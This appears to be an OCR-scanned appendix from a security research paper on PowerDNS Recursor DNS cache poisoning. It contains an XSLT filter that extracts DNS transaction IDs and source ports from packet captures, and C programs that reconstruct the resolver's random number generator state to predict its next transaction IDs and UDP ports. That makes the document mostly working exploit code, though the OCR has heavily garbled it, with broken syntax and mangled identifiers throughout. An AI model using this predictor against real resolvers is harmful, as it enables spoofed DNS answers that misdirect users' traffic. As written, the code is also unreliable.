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' ip.src==... and dns.flags.response== ' + @

<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www .w3.0rg/1999/XSL/Transform">
<xsl:strip-space elements="*"/>
<xsl:output method="text" encoding="ISO-8859-1"/>

<xsl:template match="/pdml/packet/proto[@name="dns" and
field{@name="dns.flags")/field{@name="dns.flags.res ponse")/@value="0"]">

<xsl:value-of select="field{@name="dns.id")/@value' />

<xsl:text> </xsl:text>

<xsl:value-of select="../proto[@name="geninfo")/fie ld[@name="timestamp")/@value' />

<xsl:text> </xsl:text>
<xsl:value-of

select="field[@show="Queries")/field/field[@name="d ns.gry.name")/@show' />
<xsl:text> </xsl:text>
<xsl:value-of select="../proto[@name="udp"]/field[@ name="udp.srcport"}/@value’ />

<xsl:text>&#x0d;&#x0a;</xsl:text>
<Ixsl:template>
<Ixsl:stylesheet>
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#include <stdlib.h>
#include <stdio.h>

/* Maximum consecutive query samples supported */
#define MAX_SIZE 100

/* How many random outputs do we want to predict, p
#define FORWARD_PREDICTION 22

/* endianness of the PowerDNS recursor hardware: 0
*/
int host_is_little_endian=1;

/* swap bytes (used for little endian platforms) */
int swap(int x)

return ((x & Ox00FF)<<8)|((x & OxFF00)>>8);

/* read query data from file */
void getfiledata(char* filename,int trxid[],int por

FILE* fp;

int line;

double t;

char name[256];
int net_trxid,;

fp=fopen(filename,"r");
if (fp==NULL)
{

6 *H#/A
on
02" +0(

N A R

lus 1*/

for big endian, 1 for little endian

t[],int* size)

printf("ERROR: unable to open file %s\n" filename );

exit(0);

line=0;
while(!feof(fp))

if (fscanf(fp,"%x %lIf %s %x",&net_trxid,&t,name,&

break;

}
if (line>=MAX_SIZE)

printf("INFO: %d lines (maximum) read - truncati

lines\n",MAX_SIZE);
break;

if (host_is_little_endian)

{
net_trxid=swap(net_trxid);
}
trxid[line]=net_trxid;
line++;

}

printf("INFO: read %d lines from file\n",line);

(port[line]))!=4)

ng further

17

FTFUStGGI’



PowerDNS Recursor DNS Cache Poisoning

fclose(fp);
*size=line;
return;
}
void report(int offset,int trxid,int port)
printf("Offset %2d: DNS TRXID=0x%04x and UDP port= %5d
(0x9%04x)\n",offset,trxid,port,port);
}
void attack(int trxid[],int P[],int size);
int main(int argc, char* argv[])
int trxid[MAX_SIZE],portfMAX_SIZE],P[MAX_SIZE];
int size,i;
if (argc<2)
printf("Usage: \n");
printf("  %s file --- predict PowerDNS Recurso r 3.x's next query,
from previous queries in 'file' (format is describe d in Appendix B)\n",argv[0]);
return;
}

getfiledata(argv[1],trxid,port,&size);

/* adjust the port */
for (i=0;i<size;i++)

P[i]l=port[i]-1025;
if (P[i]<0) || (P[i]>=64510))
{

printf("ERROR: port value is out of range:
port[%d]=%d\n",i,port[i]);
exit(0);

}

printf("Note: duplicate predictions may occur if n
the file\n\n");

attack(trxid,P,size);

return;

ot enough data is provided in

18
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#if (MAX_SIZE<31)
#error MAX_SIZE<31
#endif
void next_phases(int trxid[],int P[],int size,int X m:
void attack(int trxid[],int P[],int size)
{

int LIsb[2*MAX_SIZE],If[2*MAX_SIZE],a[2*MAX_SIZE], b[2*MAX_SIZE],X[2*MAX_SIZE];

int i,var,j,equation_count,current_line;

int known[31],free[31],free_count;

int tmp_a,tmp_b;

int good,carry,sk;

[* prepare Llsb */

for (i=0;i<size;i++)

Lisb[2*i]=trxid[i] & 1;
Llsb[2*i+1]=P[i] & 1;

}

/* phase | - calculate the hidden bit, X, for all samples */

/* represent each X bit as a linear combination (f unctional) of the first 31 X
bits (variables) */

/* each linear functional is represented as 31 bit s in an int variable, so that

(If>>m)&1 is the m-th variable */
for (i=0;i<31;i++)

Iffi]=1<<i;
for (i=31;i<2*size;i++)

If[i]=If[i-31]7f[i-31+28];

[* prepare the equations */
equation_count=0;
for (i=0;i<2*size-31;i++)
{
carry=LIsb[i+31]*(LIsb[i]"LIsb[i+28]);
if (carry==1)
{

alequation_count++]=Iffi];
alequation_count++]=If[i+28];

}
for (i=0;i<equation_count;i++)
b[i]=1;
/* solve the equations using the standard Gauss el imination */
/* at the end of the day, known[] will contain the list of variables which can

be calculated */

19 PRTrusteer
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/* and free[] will contain the list of variables w hich need to be enumerated */

current_line=0;
free_count=0;

/* enumerate (and try to eliminate) the 31 variabl es*/
for (var=0;var<31;var++)

{

itself... */

[* switch to an equation with bit i set, if possi ble. May "switch" with
for (j=current_line;j<equation_count;j++)

if ((a[j]>>var) & 1)

{

/* swap the lines and exit loop */
tmp_a=a[current_line];
tmp_b=b[current_line];
alcurrent_line]=al[j];
b[current_line]=b[j];

afj]=tmp_a;

b[j]=tmp_b;

break;

}
if ((a[current_line]>>var) & 1)

/* eliminate variable i */
for (j=current_line+1;j<equation_count;j++)

if ((afj]>>var) & 1)
{

afj*=alcurrent_line];
b[j]*=b[current_line];

}
}
known[current_line++]=var;
}
else
{
[* free bit */
free[free_count++]=var;
}

}

/* enumerate over all free variables */
for (s=0;s<(1<<free_count);s++)

{

for (i=0;i<free_count;i++)

X[free[il]l=(s>>i) & 1;

for (i=current_line-1;i>=0;i--)

X[known[i]]=bli];
for (k=0;k<31;k++)

if (k==knownl[il)
{ continue;
KtknownfiF=((all>>h) & 1 & X
}
for (i=31;i<2*size;i++)
X[i]=X[i-31]"X[i-31+28];

I* now Xis fully known - verify it against all ¢ arry values */
good=1;
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for (i=0;i<2*size-31;i++)

{
carry=LIsb[i+31](LIsb[i]LIsb[i+28]);
if (carry!=(X[i] & X[i+28]))
{
good=0;
break;
}
}
if (good)
{
[* for this X, proceed to next phases */
next_phases(trxid,P,size,X);
}
}
return;
}
void next_phases(int trxid[],int P[],int size,int X m
{

int H[2*MAX_SIZE],L[2*MAX_SIZE];

int R[2*MAX_SIZE+FORWARD_PREDICTION];
int i,j;

int nontriv_count,nontriv[32];

int tmp1,tmp2,R_out,R_outl,R_out2;

int s,enum_bit,nontriv_pos;

int good;

int net_trxid,;

[* prepare L for even positions in 0..61 */
for (i=0;i<31;i++)

L[2*i]=trxid[il;

/* phase Il - calculate L for odd positions in 31. .61 */
for (i=0;i<31;i+=2)

L[i+31]=(((L[]<<1)[X[])+((LIi+28]<<1)|X[i+28]) y>>1) & OXFFFF;
}

/* phase Il - calculate L for odd positions in 0. .30/
for (j=29;j>=1;j-=2)

LOI=((((LG+31]<<D)IX[j+31])-((L[+28]<<1)|X[j+2 8]))>>1) & OxFFFF;

/* Now we have L for all positions 0..61 */
/* phase IV - calculate V for all odd positions in 0..61*/

[* first, count the number of non-trivial cases */
nontriv_count=0;
for (i=1;i<62;i+=2)
{
tmp1=(P[(i-1)/2]-L[i]);
if (tmpl & 1)
{

printf("ERROR: tmp1 is not even - impossible.\n" );
exit(0);

/* 31752*32768 = 1 mod 32255 */
tmp2=(31752*(32255+(tmp1>>1)))%32255;
if (tmp2<(32768-32255))

{

nontriv[nontriv_count]=i;
nontriv_count++;

}

nontriv[nontriv_count]=-1;
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/* Still in phase IV - enumerate over possible sol
for (s=0;s<(1<<nontriv_count);s++)

/* phase IV - calculate H */
nontriv_pos=0;
for (i=1;i<62;i+=2)

utions */

{
tmp1=(P[(i-1)/2]-L[i]);
tmp2=(31752*(32255+(tmp1>>1)))%32255;
if (nontriv[nontriv_pos]==i)
enum_bit=(s>>nontriv_pos) & 1;
H[i]=(enum_bit==0) ? tmp2 : (tmp2+32255);
nontriv_pos++;
}
else
{
HIi]=tmp2;
}
}

for (i=1;i<62;i+=2)

R[i]=(H[i]<<17)|(L[i]<<1)|X[i[;

/* Now we have R for all odd positions in 0..61 *
/* phase V - reconstruct R for all even positions
for (i=1;i<31;i+=2)

R[i+31]=(R[i]+R[i+28]);
[* phase VI - reconstruct R for all even position
for (j=30;j>=0;j-=2)

R[j]=R[j+31]-R[j+28];
/* phase VII - verify with all we've got */
for (i=31;i<2*size+FORWARD_PREDICTION;i++)

R[i]=R[i-31]+R[i-31+28];

good=1;
for (i=0;i<size;i++)
{
R_out=(R[2*i]>>1) & Ox7FFFFFFF;
if (R_out & OXFFFF)!=trxid[i])
/* No good - skip this solution */
good=0;
break;
}
R_out=(R[2*i+1]>>1) & OX7FFFFFFF;
if (R_out%64510)!=P[i])
/* No good - skip this solution */
good=0;
break;
}
}
if (good)

for (i=2*size;i<2*size+FORWARD_PREDICTION-1;i++)

{

R_out1=(R[i]>>1) & OX7FFFFFFF;
R_out2=(R[i+1]>>1) & OX7FFFFFFF;

net_trxid=R_outl & OxFFFF;
if (host_is_little_endian)

/

in31..61*%

sin0..30 */
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net_trxid=swap(net_trxid);

}
report(i-2*size,net_trxid,(R_out2%64510)+1025);

}

return;
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void attack(int trxid[],int P[],int size)

{

int R[2*MAX_SIZE+FORWARD_PREDICTION];
int i,s,state,net_trxid,;

for (i=0;i<size;i++)

{

}

if (trxid[i]>=32768)

{
printf("ERROR: TRXID>=32768\n");
exit(0);

}

R[2*i]=trxid[i];

if (P[i]>=32768)

{
printf("ERROR: adjusted port >=32768\n");
exit(0);

}

R[2*i+1]=PIil;

for (s=0;s<(1<<16);s++)

{

state=(R[0]<<16)|s;
for (i=1;i<2*size;i++)
{
state = 214013*state+2531011,;
if (((state >> 16) & Ox7FFF)!=R{[i])
{
break;
}
}
if (i'=2*size)
{

continue;

}

for (i=2*size;i<2*size+FORWARD_PREDICTION;i++)
{

state = 214013*state+2531011,

R[i]=(state >> 16) & OX7FFF;
}

for (i=2*size;i<2*size+FORWARD_PREDICTION-1;i++)
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{
net_trxid=R[i];
if (host_is_little_endian)
{
net_trxid=swap(net_trxid);
}
report(i-2*size,net_trxid,(R[i+1]%64510)+1025);
}
}
return;
}
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